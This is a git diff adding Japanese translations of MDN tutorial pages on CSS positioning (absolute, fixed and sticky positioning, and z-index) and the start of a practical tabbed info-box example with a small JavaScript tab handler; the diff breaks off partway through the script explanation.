(この場合、「包含要素」とは、<strong>最初の包含ブロック</strong>（initial containing block）のことです。詳細については、以下のセクションを参照してください。)</p> + +<div class="note"> +<p><strong>注</strong>: 必要に応じて、要素のサイズを変更するために {{cssxref("top")}}、{{cssxref("bottom")}}、{{cssxref("left")}}、{{cssxref("right")}} を使用できます。 位置指定要素に <code>top: 0; bottom: 0; left: 0; right: 0; margin: 0;</code> を設定して、何が起こるか見てください！ 後で元に戻します。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: はい、マージンはまだ位置指定要素に影響します。 しかしながら、マージンの相殺はそうではありません。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: この時点でのライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/3_absolute-positioning.html">3_absolute-positioning.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/3_absolute-positioning.html">ソースコードを見る</a>）。</p> +</div> + +<h3 id="Positioning_contexts" name="Positioning_contexts">位置指定コンテキスト</h3> + +<p>絶対位置指定要素の「包含要素」はどの要素でしょうか？ これは、位置指定要素の先祖の <code>position</code> プロパティに大きく依存します（<a href="/ja/docs/Web/CSS/Containing_block#Identifying_the_containing_block">包含ブロックの識別</a>を参照）。</p> + +<p>明示的に定義された <code>position</code> プロパティを持つ祖先要素がない場合、デフォルトではすべての祖先要素は静的位置を持ちます。 この結果、絶対位置指定要素は<strong>最初の包含ブロック</strong>（initial containing block）に含まれます。 最初の包含ブロックはビューポートの大きさを持ち、{{htmlelement("html")}} 要素を含むブロックでもあります。 簡単に言うと、絶対位置指定要素は {{htmlelement("html")}} 要素の外側に表示され、最初のビューポートを基準にして配置されます。</p> + +<p>位置指定要素は HTML ソースの {{htmlelement("body")}} 内にネストされていますが、最終的なレイアウトでは、ページの端の左上から30ピクセル離れています。 <strong>位置指定コンテキスト</strong>（positioning context） — 絶対位置指定要素がどの要素を基準にして配置されているか — を変更することができます。 これは、要素の先祖の1つに位置指定を設定することによって行われます — それを内部にネストしている要素の1つにです（内部にネストしていない要素を基準にしての配置はできません）。 これを実証するために、次の宣言を <code>body</code> 規則に追加してください。</p> + +<pre class="brush: css notranslate">position: relative;</pre> + +<p>これにより、次の結果が得られます。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Positioning context</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">Now I'm absolutely positioned relative to the <code>&lt;body&gt;</code> element, not the <code>&lt;html&gt;</code> element!</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; + position: relative; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: absolute; + background: yellow; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Positioning_contexts', '100%', 420) }}</p> + +<p>位置指定要素は、{{htmlelement("body")}} 要素を基準にして配置されます。</p> + +<div class="note"> +<p><strong>注</strong>: この時点でのライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/4_positioning-context.html">4_positioning-context.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/4_positioning-context.html">ソースコードを見る</a>）。</p> +</div> + +<h3 id="Introducing_z-index" name="Introducing_z-index">z-index の紹介</h3> + +<p>この絶対位置指定はすべて楽しいですが、まだ検討していないことがもう1つあります。 要素が重なり合ったときに、どの要素が他のどの要素の上に表われるかを決定するのは何でしょうか？ これまで見てきた例では、位置指定コンテキスト内には位置指定要素が1つしかなく、位置指定要素は位置指定されていない要素よりも優先されるため、一番上に表われます。 複数あるときはどうでしょうか？</p> + +<p>最初の段落も絶対位置指定にするために、CSS に次を追加してみてください。</p> + +<pre class="brush: css notranslate">p:nth-of-type(1) { + position: absolute; + background: lime; + top: 10px; + right: 30px; +}</pre> + +<p>この時点で、最初の段落がライム色に着色され、ドキュメントフローの外に移動し、元の位置よりも少し上に配置されていることがわかります。 また、2つが重なったところでは、元の <code>.positioned</code> 段落の下にも重なっています。 これは、<code>.positioned</code> 段落がソース順の2番目の段落であり、ソース順の後ろに配置された要素がソース順の前に配置された要素よりも優先されるためです。</p> + +<p>重ね順を変更できますか？ はい、できます。 {{cssxref("z-index")}} プロパティを使うことで可能です。 「z-index」はz軸への参照です。 背景画像やドロップシャドウのオフセットなどを位置指定するために、水平（x軸）座標と垂直（y軸）座標を使用してウェブページについて説明したコースの前のポイントから思い出すことができます。 (0,0) はページ（または要素）の左上にあり、x軸とy軸はページの右下を横切っています（左から右の言語ならば）。</p> + +<p>ウェブページには、z軸もあります。 画面の表面から自分の顔に向かって走る想像上の線（または、画面の前に持ってきたい他の何か）です。 {{cssxref("z-index")}} の値は、位置指定要素がその軸のどこにあるかに影響します。 正の値はそれらを積み重ねの上に移動し、負の値はそれらを積み重ねの下に移動します。 デフォルトでは、位置指定要素はすべて <code>auto</code> の <code>z-index</code> を持ち、これは事実上 0 です。</p> + +<p>積み重ね順を変更するには、<code>p:nth-of-type(1)</code> 規則に次の宣言を追加してみてください。</p> + +<pre class="brush: css notranslate">z-index: 1;</pre> + +<p>これで完成した例が表示され、ライム色の段落が一番上になります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>z-index</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">Now I'm absolutely positioned relative to the <code>&lt;body&gt;</code> element, not the <code>&lt;html&gt;</code> element!</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; + position: relative; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: absolute; + background: yellow; + top: 30px; + left: 30px; +} + +p:nth-of-type(1) { + position: absolute; + background: lime; + top: 10px; + right: 30px; + z-index: 1; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Introducing_z-index', '100%', 400) }}</p> + +<p><code>z-index</code> は、無単位のインデックス値のみを受け入れることに注意してください。 1つの要素をz軸の 23 ピクセル上に配置するように指定することはできません — そのようには機能しません。 より大きい値はより小さい値より上になり、どんな値を使うかはあなた次第です。 2 と 3 を使用するのと、300 と 40000 では同じ効果が得られます。</p> + +<div class="note"> +<p><strong>注</strong>: この時点でのライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/5_z-index.html">5_z-index.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/5_z-index.html">ソースコードを見る</a>）。</p> +</div> + +<h3 id="Fixed_positioning" name="Fixed_positioning">固定位置指定</h3> + +<p>固定位置指定（Fixed positioning）を見てみましょう。 これは絶対位置指定とまったく同じように機能しますが、1つの重要な違いがあります。 絶対位置指定では、要素をその最も近くで位置指定された祖先 (the initial containing block if there isn't one) に対して固定しますが、<strong>固定位置指定</strong>では、ビューポートの見えている部分に対して<em>常に</em>固定します。 つまり、ページのスクロール量に関係なく常に表示される永続的なナビゲーションメニューのような、固定された便利な UI アイテムを作成できることを意味します。</p> + +<p>簡単な例をまとめて、意味を説明しましょう。 まず最初に、CSS から既存の <code>p:nth-of-type(1)</code> 規則と <code>.positioned</code> 規則を削除します。</p> + +<p>それでは、次のように <code>body</code> 規則を更新して <code>position: relative;</code> 宣言を削除して、固定の高さを追加します。</p> + +<pre class="brush: css notranslate">body { + width: 500px; + height: 1400px; + margin: 0 auto; +}</pre> + +<p>それでは、{{htmlelement("h1")}} 要素に <code>position: fixed;</code> を与え、ビューポートの中央上部に配置します。 CSS に次の規則を追加してください。</p> + +<pre class="brush: css notranslate">h1 { + position: fixed; + top: 0; + width: 500px; + margin-top: 0; + background: white; + padding: 10px; +}</pre> + +<p><code>top: 0;</code> は、画面の上部に貼り付けるために必要です。 見出しにコンテンツ列と同じ幅を指定し、それからそれに白い背景といくらかのパディングとマージンを与えるので、コンテンツはその下に見えないでしょう。</p> + +<p>保存してリフレッシュすると、見出しが固定されたままで、コンテンツはスクロールアップすると見出しの下に消えるように見える、ちょっとした効果があります。 しかし、これをもっと改善することができます — 現時点では、コンテンツの一部は見出しの下から動き始めます。 これは、位置指定された見出しがドキュメントフローに表われなくなり、残りのコンテンツが最上部に移動するためです。 それを少しだけ下げる必要があります。 これを行うには、最初の段落に上部マージンを設定します。 次を追加します。</p> + +<pre class="brush: css notranslate">p:nth-of-type(1) { + margin-top: 60px; +}</pre> + +<p>完成した例を見てください。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Fixed positioning</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">I'm not positioned any more...</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + height: 1400px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +h1 { + position: fixed; + top: 0px; + width: 500px; + background: white; + padding: 10px; +} + +p:nth-of-type(1) { + margin-top: 60px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Fixed_positioning', '100%', 400) }}</p> + +<div class="note"> +<p><strong>注</strong>: この時点でのライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html">6_fixed-positioning.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html">ソースコードを見る</a>）。</p> +</div> + +<h3 id="position_sticky" name="position_sticky">position: sticky</h3> + +<p><code>position: sticky</code> と呼ばれる利用可能な別の <code>position</code> の値があります。 これは他よりもやや新しいです。 これは基本的に相対位置と固定位置のハイブリッドであり、位置指定要素は、特定のしきい値の位置（例えば、ビューポートの上部から 10px）までスクロールされるまで相対位置指定されたように動作し、その後固定されます。 これは、ナビゲーションバーを特定の位置までページと共にスクロールさせ、その後ページの上部に固定するなどの目的で使用できます。</p> + +<div id="Sticky_1"> +<div class="hidden"> +<h6 id="Sticky_positioning_example">Sticky positioning example</h6> + +<pre class="brush: html notranslate"><h1>Sticky positioning</h1> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<div class="positioned">Sticky</div> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +.positioned { + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="brush: css notranslate">.positioned { + position: sticky; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p> + +<p>おもしろくて一般的な <code>position: sticky</code> の使い方はスクロールするインデックスページを作成することです。 そこに到達すると異なる見出しがページの上部に固定されます。 そのような例のマークアップは次のようになります。</p> + +<pre class="brush: html notranslate"><h1>Sticky positioning</h1> + +<dl> + <dt>A</dt> + <dd>Apple</dd> + <dd>Ant</dd> + <dd>Altimeter</dd> + <dd>Airplane</dd> + <dt>B</dt> + <dd>Bird</dd> + <dd>Buzzard</dd> + <dd>Bee</dd> + <dd>Banana</dd> + <dd>Beanstalk</dd> + <dt>C</dt> + <dd>Calculator</dd> + <dd>Cane</dd> + <dd>Camera</dd> + <dd>Camel</dd> + <dt>D</dt> + <dd>Duck</dd> + <dd>Dime</dd> + <dd>Dipstick</dd> + <dd>Drone</dd> + <dt>E</dt> + <dd>Egg</dd> + <dd>Elephant</dd> + <dd>Egret</dd> +</dl> +</pre> + +<p>CSS は次のようになります。 通常フローでは、{{htmlelement("dt")}} 要素はコンテンツとともにスクロールします。 {{htmlelement("dt")}} 要素に <code>position: sticky</code> を 0 の {{cssxref("top")}} の値と共に追加すると、サポートするブラウザーでは、その位置に達すると、見出しをビューポートの一番上に固定します。 それ以降の各見出しは、その位置までスクロールアップするときに、前の見出しを置き換えます。</p> + +<pre class="brush: css notranslate">dt { + background-color: black; + color: white; + padding: 10px; + position: sticky; + top: 0; + left: 0; + margin: 1em 0; +} +</pre> + +<div id="Sticky_2"> +<div class="hidden"> +<pre class="brush: css notranslate">body { + width: 500px; + height: 1400px; + margin: 0 auto; +} + +dt { + background-color: black; + color: white; + padding: 10px; + position: sticky; + top: 0; + left: 0; + margin: 1em 0; +} +</pre> + +<pre class="brush: html notranslate"><h1>Sticky positioning</h1> + +<dl> + <dt>A</dt> + <dd>Apple</dd> + <dd>Ant</dd> + <dd>Altimeter</dd> + <dd>Airplane</dd> + <dt>B</dt> + <dd>Bird</dd> + <dd>Buzzard</dd> + <dd>Bee</dd> + <dd>Banana</dd> + <dd>Beanstalk</dd> + <dt>C</dt> + <dd>Calculator</dd> + <dd>Cane</dd> + <dd>Camera</dd> + <dd>Camel</dd> + <dt>D</dt> + <dd>Duck</dd> + <dd>Dime</dd> + <dd>Dipstick</dd> + <dd>Drone</dd> + <dt>E</dt> + <dd>Egg</dd> + <dd>Elephant</dd> + <dd>Egret</dd> +</dl> +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Sticky_2', '100%', 200) }}</p> + +<div class="note"> +<p><strong>注</strong>: このライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/7_sticky-positioning.html">7_sticky-positioning.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html">ソースコードを見る</a>）。</p> +</div> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？次に移動する前に、この情報を保持しているか検証するテストがあります — <a href="/ja/docs/Learn/CSS/CSS_layout/Position_skills">Test your skills: Positioning</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>私はあなたが基本的な位置指定と一緒に遊ぶことができて楽しかったと確信しています。 これは、レイアウト全体に使用する方法ではありませんが、ご覧のとおり、それが適しているタスクはたくさんあります。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{cssxref("position")}} プロパティのリファレンス。</li> + <li>いくつかのより有用なアイデアのための<a href="/ja/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">実用的な位置指定の例</a>。</li> +</ul> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/practical_positioning_examples/index.html b/files/ja/learn/css/css_layout/practical_positioning_examples/index.html new file mode 100644 index 0000000000..d7c5601202 --- /dev/null +++ b/files/ja/learn/css/css_layout/practical_positioning_examples/index.html @@ -0,0 +1,421 @@ +--- +title: 実用的な位置指定の例 +slug: Learn/CSS/CSS_layout/Practical_positioning_examples +tags: + - Article + - Beginner + - CSS + - CodingScripting + - Guide + - Layout + - Learn + - absolute + - fixed + - relative +translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples +--- +<div>{{LearnSidebar}}</div> + +<div></div> + +<p class="summary"><span class="seoSummary">この記事では、位置指定でどのようなことができるかを説明するために、実際に使用されるいくつかの例を作成する方法を示します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基礎（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>位置指定の実用性を理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="A_tabbed_info-box" name="A_tabbed_info-box">タブ付き情報ボックス</h2> + +<p>最初の例は、古典的なタブ付きの情報ボックスです — これは、たくさんの情報を小さな領域にまとめたいときによく使われる機能です。 これには、戦略/戦争ゲームのような情報量の多いアプリ、画面が狭くスペースが限られているモバイル版のウェブサイト、および UI 全体を埋め尽くさずに多くの情報を利用できるようにしたいコンパクトな情報ボックスが含まれます。 これらを単純化した例は、完成すると次のようになります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p> + +<div class="note"> +<p><strong>注</strong>: 完成した例は、<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">info-box.html</a> でライブで確認できます（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">ソースコード</a>）。 記事のこのセクションで何を構築するのかを理解するために、ぜひチェックしてください。</p> +</div> + +<p>「別々のタブを別々のウェブページとして作成し、タブをクリックして別々のページに移動させて同様の効果を生み出すだけでよいのではないでしょうか？」と考えるかもしれません。 このコードならもっと簡単なものになりますが、実際には個々の「ページ」ビューは実際には新しくロードされたウェブページになるため、ビュー間で情報を保存し、この機能をより大きな UI デザインに統合するのは難しくなります。 さらに、いわゆる「シングルページアプリ」は、特にモバイルウェブ UI の場合、非常に人気が高まっています。 なぜなら、すべてのコンテンツを表示するために必要な HTTP リクエストの数が減り、パフォーマンスが向上するからです。</p> + +<div class="note"> +<p><strong>注</strong>: ウェブ開発者の中には、一度に1ページの情報だけをロードし、<a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> などの JavaScript 機能を使用して表示される情報を動的に変更することで、さらに問題を解決するものもあります。 しかし、学習の現時点では、物事をできるだけシンプルに保ちたいと思います。 後で JavaScript がいくつかありますが、ほんの少しだけです。</p> +</div> + +<p>まず始めに、出発点の HTML ファイル <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box-start.html">info-box-start.html</a> のローカルコピーを作成してください。 これをローカルコンピュータの適当な場所に保存して、テキストエディタで開きます。 <code>body</code> に含まれる HTML を見てみましょう。</p> + +<pre class="brush: html"><section class="info-box"> + <ul> + <li><a href="#" class="active">Tab 1</a></li> + <li><a href="#">Tab 2</a></li> + <li><a href="#">Tab 3</a></li> + </ul> + <div class="panels"> + <article class="active-panel"> + <h2>The first tab</h2> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. Vivamus varius libero at ipsum mattis efficitur ut nec nisl. Nullam eget tincidunt metus. Donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. Aliquam ut porttitor urna. Nulla facilisi.</p> + </article> + <article> + <h2>The second tab</h2> + + <p>This tab hasn't got any Lorem Ipsum in it. But the content isn't very exciting all the same.</p> + </article> + <article> + <h2>The third tab</h2> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. And now an ordered list: how exciting!</p> + + <ol> + <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li> + <li>Aliquam ut porttitor urna.</li> + <li>Nulla facilisi</li> + </ol> + </article> + </div> +</section></pre> + +<p>それで、ここに {{htmlelement("ul")}} と {{htmlelement("div")}} を含む <code>info-box</code> のクラス（<code>class</code>）を持つ {{htmlelement("section")}} 要素があります。 番号なしリストには3つのリスト項目があり、その中にリンクがあります。 これは、コンテンツパネルを表示するためにクリックする実際のタブになります。 <code><div></code> には、各タブに対応するコンテンツパネルを構成する3つの {{htmlelement("article")}} 要素が含まれています。 各パネルにはいくつかのサンプルのコンテンツが含まれています。</p> + +<p>ここでの考え方は、標準の水平ナビゲーションメニューのようにタブをスタイルし、絶対位置指定を使用して互いの上に重なるようにパネルをスタイルするということです。 また、タブが押されたときに対応するパネルを表示し、タブ自体をスタイルするためにページに含める JavaScript も少し用意します。 現段階では JavaScript 自体を理解する必要はありませんが、基本的な <a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a> をできるだけ早く学習することを検討するべきです — UI 機能が複雑になるほど、欲しい機能を実装するために JavaScript が必要になるでしょう。</p> + +<h3 id="General_setup" name="General_setup">一般的な設定</h3> + +<p>まず、{{htmlelement("style")}} の開始タグと終了タグの間に次を追加します。</p> + +<pre class="brush: css">html { + font-family: sans-serif; +} + +* { + box-sizing: border-box; +} + +body { + margin: 0; +}</pre> + +<p>これは、ページに サンセリフ（<code>sans-serif</code>）フォントを設定し、<code>border-box</code> の {{cssxref("box-sizing")}} モデルを使い、{{htmlelement("body")}} からデフォルトのマージンを取り除くための一般的な設定です。</p> + +<p>次に、前の CSS のすぐ下に次を追加します。</p> + +<pre class="brush: css">.info-box { + width: 450px; + height: 400px; + margin: 0 auto; +}</pre> + +<p>これはコンテンツに特定の幅と高さを設定し、古い <code>margin: 0 auto</code> トリックを使用して画面の中央に配置します。 以前のコースでは、可能であればコンテンツのコンテナに固定の高さを設定しないことをお勧めしました。 タブのコンテンツは固定されているので、この状況では問題ありません。 また、異なる高さで異なるタブを表示するのも少々不快です。</p> + +<h3 id="Styling_our_tabs" name="Styling_our_tabs">タブのスタイリング</h3> + +<p>今度はタブをタブのようにスタイルします — 基本的にこれらは水平ナビゲーションメニューですが、コースで以前見たようにクリックされたときに異なるウェブページをロードする代わりに異なるパネルを同じページに表示します。 まず、CSS の一番下に次の規則を追加して、番号なしリストからデフォルトの {{cssxref("padding-left")}} と {{cssxref("margin-top")}} を削除します。</p> + +<pre class="brush: css">.info-box ul { + padding-left: 0; + margin-top: 0; +}</pre> + +<div class="note"> +<p><strong>注</strong>: この例では、チェーンの先頭に <code>.info-box</code> を持つ子孫セレクタを使用しています。 これは、他のコンテンツがすでに含まれているページに、ページの他の部分に適用されているスタイルを妨げることなく、この機能を挿入できるようにするためです。</p> +</div> + +<p>次に、水平方向のタブのスタイルを設定します。 リスト項目は、一列に並ぶようにすべて左にフロートさせ、行頭記号（bullet）を取り除くために {{cssxref("list-style-type")}} を <code>none</code> に設定し、{{cssxref("width")}} を <code>150px</code> に設定しているので、それらは情報ボックス全体にうまく収まります。 {{htmlelement("a")}} 要素は {{cssxref("display")}}<code>: inline-block</code> に設定されているので、一列に並んでいてもスタイル可能で、他のさまざまなプロパティを使用して、タブボタンに適したスタイルになっています。</p> + +<p>次の CSS を追加してください。</p> + +<pre class="brush: css">.info-box li { + float: left; + list-style-type: none; + width: 150px; +} + +.info-box li a { + display: inline-block; + text-decoration: none; + width: 100%; + line-height: 3; + background-color: red; + color: black; + text-align: center; +}</pre> + +<p>最後に、このセクションでは、リンク状態にいくつかのスタイルを設定します。 最初に、フォーカス時やホバー時にタブの状態が異なるように {{cssxref(":focus")}} と {{cssxref(":hover")}} の状態を設定し、ユーザーに視覚的なフィードバックを提供します。 次に、タブの1つに <code>active</code> のクラスが存在する場合、それに同じスタイルを設定する規則を設定します。 これをタブがクリックされたときに JavaScript を使用して設定します。 次の CSS を他のスタイルの下に配置します。</p> + +<pre class="brush: css">.info-box li a:focus, .info-box li a:hover { + background-color: #a60000; + color: white; +} + +.info-box li a.active { + background-color: #a60000; + color: white; +}</pre> + +<h3 id="Styling_the_panels" name="Styling_the_panels">パネルのスタイリング</h3> + +<p>次の仕事はパネルをスタイルすることです。 さあ行きましょう！</p> + +<p>まず最初に、<code>.panels</code> の {{htmlelement("div")}} コンテナをスタイルするために次の規則を追加します。 ここでは、パネルが情報ボックスの内側にぴったり収まるように固定の {{cssxref("height")}} を設定し、{{htmlelement("html")}} ではなくそれに対して相対的に位置指定子要素を配置できるように {{cssxref("position")}}<code>: relative</code> で {{htmlelement("div")}} を位置指定コンテキストとして設定します。 最後にレイアウトに影響を与えないように、最後に上記 CSS で設定したフロートを {{cssxref("clear")}} します。</p> + +<pre class="brush: css">.info-box .panels { + height: 352px; + position: relative; + clear: both; +}</pre> + +<p>このセクションの最後に、パネルを構成する個々の {{htmlelement("article")}} 要素をスタイルします。 最初に追加する規則は、パネルを絶対位置指定して、それらがすべて {{htmlelement("div")}} コンテナの {{cssxref("top")}} と {{cssxref("left")}} にぴったり合うように配置することです — これは、パネルを互いの上に重ねて配置するという、このレイアウト機能全体にとって絶対に重要な部分です。 この規則はまた、パネルにコンテナと同じ設定の高さを与え、コンテンツにいくつかの {{cssxref("padding")}}、テキストの {{cssxref("color")}}、および {{cssxref("background-color")}} を与えます。</p> + +<p>ここで追加する2番目の規則は、<code>active-panel</code> のクラスが設定されているパネルに 1 の <code>{{cssxref("z-index")}}</code> が適用されるようにすることです。 これにより、他のパネルの上に重ねて置かれます（位置指定要素はデフォルトで 0 の <code>z-index</code> を持ち、これは他のパネルを下に置きます）。 繰り返しますが、適切なタイミングで JavaScript を使用してこのクラスを追加します。</p> + +<pre class="brush: css">.info-box article { + position: absolute; + top: 0; + left: 0; + height: 352px; + padding: 10px; + color: white; + background-color: #a60000; +} + +.info-box .active-panel { + z-index: 1; +}</pre> + +<h3 id="Adding_our_JavaScript" name="Adding_our_JavaScript">JavaScript を追加する</h3> + +<p>この機能を動作させるための最後のステップは、JavaScript を追加することです。 {{htmlelement("script")}} の開始タグと終了タグの間に記述されているとおりに、次のコードブロックを挿入します（これらは HTML コンテンツの下方にあります）。</p> + +<pre>var tabs = document.querySelectorAll('.info-box li a'); +var panels = document.querySelectorAll('.info-box article'); + +for(i = 0; i < tabs.length; i++) { + var tab = tabs[i]; + setTabHandler(tab, i); +} + +function setTabHandler(tab, tabPos) { + tab.onclick = function() { + for(i = 0; i < tabs.length; i++) { + tabs[i].className = ''; + } + + tab.className = 'active'; + + for(i = 0; i < panels.length; i++) { + panels[i].className = ''; + } + + panels[tabPos].className = 'active-panel'; + } +}</pre> + +<p>このコードは次のことを行います。</p> + +<ul> + <li>最初に、すべてのタブとすべてのパネルへの参照を <code>tabs</code> と <code>panels</code> 